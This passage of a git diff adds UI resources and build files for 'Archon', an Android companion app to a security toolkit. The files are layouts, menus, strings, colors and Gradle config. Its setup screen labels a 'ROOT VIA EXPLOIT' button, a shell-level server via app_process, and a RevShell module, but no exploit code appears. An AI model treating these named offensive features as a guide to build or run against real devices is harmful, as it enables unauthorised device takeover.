<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="COMING SOON"
|
||||||
|
android:textColor="@color/warning"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Veilid-based decentralized bulletin board for secure anonymous communication. Under development."
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:hint="@string/hint_bbs_address"
|
||||||
|
app:boxStrokeColor="@color/terminal_green"
|
||||||
|
app:hintTextColor="@color/terminal_green"
|
||||||
|
android:enabled="false">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_bbs_address"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="text"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:enabled="false"
|
||||||
|
android:hint="Not yet available" />
|
||||||
|
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- Auto-Detect -->
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_auto_detect"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="8dp"
|
||||||
|
android:text="@string/auto_detect"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:backgroundTint="@color/terminal_green"
|
||||||
|
app:icon="@android:drawable/ic_menu_search"
|
||||||
|
app:iconTint="@color/background"
|
||||||
|
app:cornerRadius="4dp" />
|
||||||
|
|
||||||
|
<!-- Actions -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="16dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_test_connection"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:layout_marginEnd="8dp"
|
||||||
|
android:text="@string/test_connection"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim"
|
||||||
|
app:cornerRadius="4dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_save_settings"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="@string/save_settings"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:backgroundTint="@color/terminal_green"
|
||||||
|
app:cornerRadius="4dp" />
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- Status -->
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/settings_status"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:layout_marginBottom="24dp" />
|
||||||
|
|
||||||
|
<!-- Logout -->
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_logout"
|
||||||
|
style="@style/Widget.MaterialComponents.Button.OutlinedButton"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="LOGOUT"
|
||||||
|
android:textColor="@color/danger"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:strokeColor="@color/danger"
|
||||||
|
app:cornerRadius="4dp" />
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</ScrollView>
|
||||||
383
autarch_companion/app/src/main/res/layout/fragment_setup.xml
Normal file
383
autarch_companion/app/src/main/res/layout/fragment_setup.xml
Normal file
@ -0,0 +1,383 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<ScrollView
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
<!-- Header -->
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="ARCHON SETUP"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="24sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<!-- Privilege Status -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="16dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/privilege_status_dot"
|
||||||
|
android:layout_width="12dp"
|
||||||
|
android:layout_height="12dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/privilege_status_text"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Checking privileges..."
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<!-- ═══ STEP 1: Wireless Debugging (Shizuku-style) ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green"
|
||||||
|
app:strokeWidth="2dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="STEP 1: Wireless Debugging"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Self-contained ADB — no PC needed"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="1. Tap START PAIRING below\n2. A notification will appear\n3. Open Developer Options > Wireless Debugging\n4. Tap 'Pair with pairing code'\n5. Enter the code in Archon's notification"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:textSize="13sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:lineSpacingExtra="4dp"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_start_pairing"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="START PAIRING"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:textSize="16sp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/local_adb_status"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Status: not paired"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginTop="8dp" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ STEP 2: Archon Server ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="STEP 2: Archon Server"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Shell-level server (UID 2000) via app_process"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<!-- Status -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:gravity="center_vertical"
|
||||||
|
android:layout_marginBottom="12dp">
|
||||||
|
|
||||||
|
<View
|
||||||
|
android:id="@+id/archon_server_status_dot"
|
||||||
|
android:layout_width="10dp"
|
||||||
|
android:layout_height="10dp"
|
||||||
|
android:layout_marginEnd="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/archon_server_status"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Status: checking..."
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:textSize="13sp"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Modules (Shield, Honeypot, RevShell) run through\nthe Archon Server on localhost:17321."
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:lineSpacingExtra="2dp"
|
||||||
|
android:layout_marginBottom="12dp" />
|
||||||
|
|
||||||
|
<!-- Server buttons -->
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
android:layout_marginBottom="8dp">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_start_archon_server"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="START SERVER"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_stop_archon_server"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="STOP SERVER"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
android:enabled="false"
|
||||||
|
style="@style/Widget.Material3.Button.OutlinedButton"
|
||||||
|
app:strokeColor="@color/danger" />
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_show_command"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="SHOW ADB COMMAND"
|
||||||
|
android:textSize="11sp"
|
||||||
|
style="@style/Widget.Material3.Button.TonalButton"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ ALT: USB via AUTARCH ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="ALT: USB via AUTARCH"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Connect phone to AUTARCH via USB cable"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/server_adb_status"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Server: not configured"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_bootstrap_usb"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="BOOTSTRAP VIA USB"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ ALT: Root Access ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
app:cardBackgroundColor="@color/surface"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="16dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="ALT: Root Access"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/root_status"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Status: checking..."
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="8dp" />
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal">
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_check_root"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="CHECK ROOT"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/terminal_green_dim" />
|
||||||
|
|
||||||
|
<com.google.android.material.button.MaterialButton
|
||||||
|
android:id="@+id/btn_root_exploit"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_weight="1"
|
||||||
|
android:text="ROOT VIA EXPLOIT"
|
||||||
|
android:textColor="@color/background"
|
||||||
|
android:layout_marginStart="8dp"
|
||||||
|
style="@style/Widget.Material3.Button"
|
||||||
|
app:backgroundTint="@color/warning" />
|
||||||
|
</LinearLayout>
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
<!-- ═══ Output Log ═══ -->
|
||||||
|
<com.google.android.material.card.MaterialCardView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
app:cardBackgroundColor="@color/surface_dark"
|
||||||
|
app:cardCornerRadius="8dp"
|
||||||
|
app:strokeColor="@color/terminal_green_dim"
|
||||||
|
app:strokeWidth="1dp">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="12dp">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="Output Log:"
|
||||||
|
android:textColor="@color/terminal_green_dim"
|
||||||
|
android:textSize="12sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:layout_marginBottom="4dp" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/setup_output_log"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="> ready_"
|
||||||
|
android:textColor="@color/terminal_green"
|
||||||
|
android:textSize="11sp"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
android:lineSpacingExtra="2dp"
|
||||||
|
android:minLines="5" />
|
||||||
|
</LinearLayout>
|
||||||
|
</com.google.android.material.card.MaterialCardView>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</ScrollView>
|
||||||
23
autarch_companion/app/src/main/res/menu/bottom_nav.xml
Normal file
23
autarch_companion/app/src/main/res/menu/bottom_nav.xml
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<menu xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<item
|
||||||
|
android:id="@+id/nav_dashboard"
|
||||||
|
android:icon="@android:drawable/ic_menu_compass"
|
||||||
|
android:title="@string/nav_dashboard" />
|
||||||
|
<item
|
||||||
|
android:id="@+id/nav_links"
|
||||||
|
android:icon="@android:drawable/ic_menu_share"
|
||||||
|
android:title="@string/nav_links" />
|
||||||
|
<item
|
||||||
|
android:id="@+id/nav_modules"
|
||||||
|
android:icon="@android:drawable/ic_menu_manage"
|
||||||
|
android:title="@string/nav_modules" />
|
||||||
|
<item
|
||||||
|
android:id="@+id/nav_setup"
|
||||||
|
android:icon="@drawable/ic_setup"
|
||||||
|
android:title="@string/nav_setup" />
|
||||||
|
<item
|
||||||
|
android:id="@+id/nav_settings"
|
||||||
|
android:icon="@android:drawable/ic_menu_preferences"
|
||||||
|
android:title="@string/nav_settings" />
|
||||||
|
</menu>
|
||||||
33
autarch_companion/app/src/main/res/navigation/nav_graph.xml
Normal file
33
autarch_companion/app/src/main/res/navigation/nav_graph.xml
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<navigation
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:id="@+id/nav_graph"
|
||||||
|
app:startDestination="@id/nav_dashboard">
|
||||||
|
|
||||||
|
<fragment
|
||||||
|
android:id="@+id/nav_dashboard"
|
||||||
|
android:name="com.darkhal.archon.ui.DashboardFragment"
|
||||||
|
android:label="@string/nav_dashboard" />
|
||||||
|
|
||||||
|
<fragment
|
||||||
|
android:id="@+id/nav_links"
|
||||||
|
android:name="com.darkhal.archon.ui.LinksFragment"
|
||||||
|
android:label="@string/nav_links" />
|
||||||
|
|
||||||
|
<fragment
|
||||||
|
android:id="@+id/nav_modules"
|
||||||
|
android:name="com.darkhal.archon.ui.ModulesFragment"
|
||||||
|
android:label="@string/nav_modules" />
|
||||||
|
|
||||||
|
<fragment
|
||||||
|
android:id="@+id/nav_setup"
|
||||||
|
android:name="com.darkhal.archon.ui.SetupFragment"
|
||||||
|
android:label="@string/nav_setup" />
|
||||||
|
|
||||||
|
<fragment
|
||||||
|
android:id="@+id/nav_settings"
|
||||||
|
android:name="com.darkhal.archon.ui.SettingsFragment"
|
||||||
|
android:label="@string/nav_settings" />
|
||||||
|
|
||||||
|
</navigation>
|
||||||
18
autarch_companion/app/src/main/res/values/colors.xml
Normal file
18
autarch_companion/app/src/main/res/values/colors.xml
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="terminal_green">#FF00FF41</color>
|
||||||
|
<color name="terminal_green_dim">#FF006B1A</color>
|
||||||
|
<color name="background">#FF0D0D0D</color>
|
||||||
|
<color name="surface">#FF1A1A1A</color>
|
||||||
|
<color name="surface_dark">#FF111111</color>
|
||||||
|
<color name="text_primary">#FFE0E0E0</color>
|
||||||
|
<color name="text_secondary">#FF888888</color>
|
||||||
|
<color name="text_muted">#FF555555</color>
|
||||||
|
<color name="primary">#FF00FF41</color>
|
||||||
|
<color name="status_online">#FF00FF41</color>
|
||||||
|
<color name="status_offline">#FF666666</color>
|
||||||
|
<color name="danger">#FFFF4444</color>
|
||||||
|
<color name="warning">#FFFFAA00</color>
|
||||||
|
<color name="black">#FF000000</color>
|
||||||
|
<color name="nav_item_color">#FF00FF41</color>
|
||||||
|
</resources>
|
||||||
61
autarch_companion/app/src/main/res/values/strings.xml
Normal file
61
autarch_companion/app/src/main/res/values/strings.xml
Normal file
@ -0,0 +1,61 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<string name="app_name">Archon</string>
|
||||||
|
|
||||||
|
<!-- Navigation -->
|
||||||
|
<string name="nav_dashboard">Dashboard</string>
|
||||||
|
<string name="nav_links">Links</string>
|
||||||
|
<string name="nav_modules">Modules</string>
|
||||||
|
<string name="nav_setup">Setup</string>
|
||||||
|
<string name="nav_settings">Settings</string>
|
||||||
|
|
||||||
|
<!-- Discovery -->
|
||||||
|
<string name="server_discovery">Server Discovery</string>
|
||||||
|
<string name="discovery_idle">Tap SCAN to find AUTARCH</string>
|
||||||
|
<string name="discovery_methods">LAN / Wi-Fi Direct / Bluetooth</string>
|
||||||
|
<string name="scan_network">SCAN</string>
|
||||||
|
|
||||||
|
<!-- Dashboard -->
|
||||||
|
<string name="dashboard_title">ARCHON</string>
|
||||||
|
<string name="adb_control">ADB Control</string>
|
||||||
|
<string name="adb_status_unknown">ADB: checking...</string>
|
||||||
|
<string name="enable_adb_tcp">Enable ADB TCP/IP</string>
|
||||||
|
<string name="usbip_export">USB/IP Export</string>
|
||||||
|
<string name="usbip_status_unknown">USB/IP: checking...</string>
|
||||||
|
<string name="enable_usbip_export">Enable USB/IP Export</string>
|
||||||
|
<string name="adb_server">ADB Server</string>
|
||||||
|
<string name="kill_adb">KILL</string>
|
||||||
|
<string name="restart_adb">RESTART</string>
|
||||||
|
<string name="auto_restart_adb">Auto-restart ADB</string>
|
||||||
|
<string name="wireguard_status">WireGuard</string>
|
||||||
|
<string name="wg_checking">WG: checking...</string>
|
||||||
|
<string name="wg_server_ip_label">Server: --</string>
|
||||||
|
<string name="ready">> ready_</string>
|
||||||
|
|
||||||
|
<!-- Links -->
|
||||||
|
<string name="links_title">AUTARCH</string>
|
||||||
|
<string name="server_url_placeholder">Server: --</string>
|
||||||
|
<string name="link_dashboard">Dashboard</string>
|
||||||
|
<string name="link_wireguard">WireGuard</string>
|
||||||
|
<string name="link_shield">Shield</string>
|
||||||
|
<string name="link_hardware">Hardware</string>
|
||||||
|
<string name="link_wireshark">Wireshark</string>
|
||||||
|
<string name="link_osint">OSINT</string>
|
||||||
|
<string name="link_defense">Defense</string>
|
||||||
|
<string name="link_offense">Offense</string>
|
||||||
|
<string name="link_settings">Settings</string>
|
||||||
|
|
||||||
|
<!-- Settings -->
|
||||||
|
<string name="settings_title">SETTINGS</string>
|
||||||
|
<string name="server_connection">Server Connection</string>
|
||||||
|
<string name="hint_server_ip">AUTARCH Server IP</string>
|
||||||
|
<string name="hint_web_port">Web UI Port (default: 8181)</string>
|
||||||
|
<string name="adb_configuration">ADB Configuration</string>
|
||||||
|
<string name="hint_adb_port">ADB TCP Port</string>
|
||||||
|
<string name="hint_usbip_port">USB/IP Port</string>
|
||||||
|
<string name="bbs_configuration">BBS Configuration</string>
|
||||||
|
<string name="hint_bbs_address">Veilid BBS Address</string>
|
||||||
|
<string name="auto_detect">AUTO-DETECT SERVER</string>
|
||||||
|
<string name="test_connection">TEST</string>
|
||||||
|
<string name="save_settings">SAVE</string>
|
||||||
|
</resources>
|
||||||
16
autarch_companion/app/src/main/res/values/themes.xml
Normal file
16
autarch_companion/app/src/main/res/values/themes.xml
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<style name="Theme.Archon" parent="Theme.Material3.Dark.NoActionBar">
|
||||||
|
<item name="colorPrimary">@color/terminal_green</item>
|
||||||
|
<item name="colorPrimaryVariant">@color/terminal_green_dim</item>
|
||||||
|
<item name="colorOnPrimary">@color/background</item>
|
||||||
|
<item name="colorSecondary">@color/terminal_green_dim</item>
|
||||||
|
<item name="colorOnSecondary">@color/text_primary</item>
|
||||||
|
<item name="android:colorBackground">@color/background</item>
|
||||||
|
<item name="colorSurface">@color/surface</item>
|
||||||
|
<item name="colorOnSurface">@color/text_primary</item>
|
||||||
|
<item name="android:statusBarColor">@color/background</item>
|
||||||
|
<item name="android:navigationBarColor">@color/surface</item>
|
||||||
|
<item name="android:windowBackground">@color/background</item>
|
||||||
|
</style>
|
||||||
|
</resources>
|
||||||
3
autarch_companion/build.gradle.kts
Normal file
3
autarch_companion/build.gradle.kts
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.android.application") version "9.0.1" apply false
|
||||||
|
}
|
||||||
4
autarch_companion/gradle.properties
Normal file
4
autarch_companion/gradle.properties
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||||
|
android.useAndroidX=true
|
||||||
|
kotlin.code.style=official
|
||||||
|
android.nonTransitiveRClass=true
|
||||||
BIN
autarch_companion/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
autarch_companion/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
7
autarch_companion/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
7
autarch_companion/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
|
||||||
|
networkTimeout=10000
|
||||||
|
